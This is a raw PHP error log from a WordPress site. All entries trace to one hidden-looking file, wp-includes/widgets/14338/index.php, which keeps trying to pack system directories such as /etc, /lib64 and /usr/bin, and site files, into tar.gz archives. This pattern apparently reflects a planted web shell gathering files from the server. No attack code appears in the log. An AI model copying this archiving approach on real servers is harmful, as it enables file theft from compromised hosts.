[05-Nov-2025 16:47:24 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/loginout.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:47:43 UTC] PHP Fatal error:  Allowed memory size of 1073741824 bytes exhausted (tried to allocate 803217141 bytes) in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:48:06 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/nextpage.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:48:53 UTC] PHP Fatal error:  Uncaught TypeError: feof(): Argument #1 ($stream) must be of type resource, bool given in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): feof()
#1 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): tMiBR()
#2 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:49:26 UTC] PHP Fatal error:  Allowed memory size of 1073741824 bytes exhausted (tried to allocate 803217141 bytes) in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:49:28 UTC] PHP Fatal error:  Allowed memory size of 1073741824 bytes exhausted (tried to allocate 10217336920 bytes) in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:50:21 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/archives.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:54:01 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/post-featured-image.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:56:44 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/usr/share/crypto-policies/DEFAULT/opensslcnf.txt" that is not in the base directory "/etc" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:59:29 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/swfupload.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:59:48 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a file that could not be opened "/usr/share/cracklib/pw_dict.hwm" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:02:44 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/mediaelement.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:03:55 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/wplink.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:04:22 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/usr/share/cracklib/pw_dict.hwm" that is not in the base directory "/lib64" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:05:15 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/post-excerpt.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:05:37 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/page-list.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:06:13 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/site-logo.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:06:29 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/comments-pagination.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:07:55 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/comment-date.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:08:04 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:08:10 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/post-author-name.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:08:23 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/view.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:09:09 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/archives.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:09:30 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/audio.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:09:37 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/group.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:09:40 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block.json.json.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:09:50 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/embed.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:09:55 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/verse.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:09:59 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/video.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:10:06 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/post-featured-image.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:10:09 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/image.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:10:12 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:10:21 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/button.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:10:25 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/colorpicker.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:10:29 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/query.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:10:34 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/tw-sack.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:10:38 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/media-views.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:10:42 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/masonry.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:10:48 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/search.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:10:48 UTC] PHP Fatal error:  Allowed memory size of 1073741824 bytes exhausted (tried to allocate 937434867 bytes) in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:10:57 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a file that could not be opened "/opt/alt/php-internal" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:10:59 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a file that could not be opened "/run/systemd/journal/dev-log.cagefs/dev-log" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:11:04 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/legacy-widget.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:11:05 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/usr/libexec/platform-python3.6" that is not in the base directory "/usr/bin" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:11:32 UTC] PHP Fatal error:  Allowed memory size of 1073741824 bytes exhausted (tried to allocate 426807296 bytes) in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:12:01 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/hoverIntent.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:13:04 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/quote.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:13:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/jcrop.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:14:02 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/twemoji.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:15:54 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/template-part.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:20:45 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a file that could not be opened "/opt/alt/php-internal" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:21:38 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/api-request.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:21:47 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a file that could not be opened "/opt/alt/php-internal" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 17:22:18 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/pattern.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
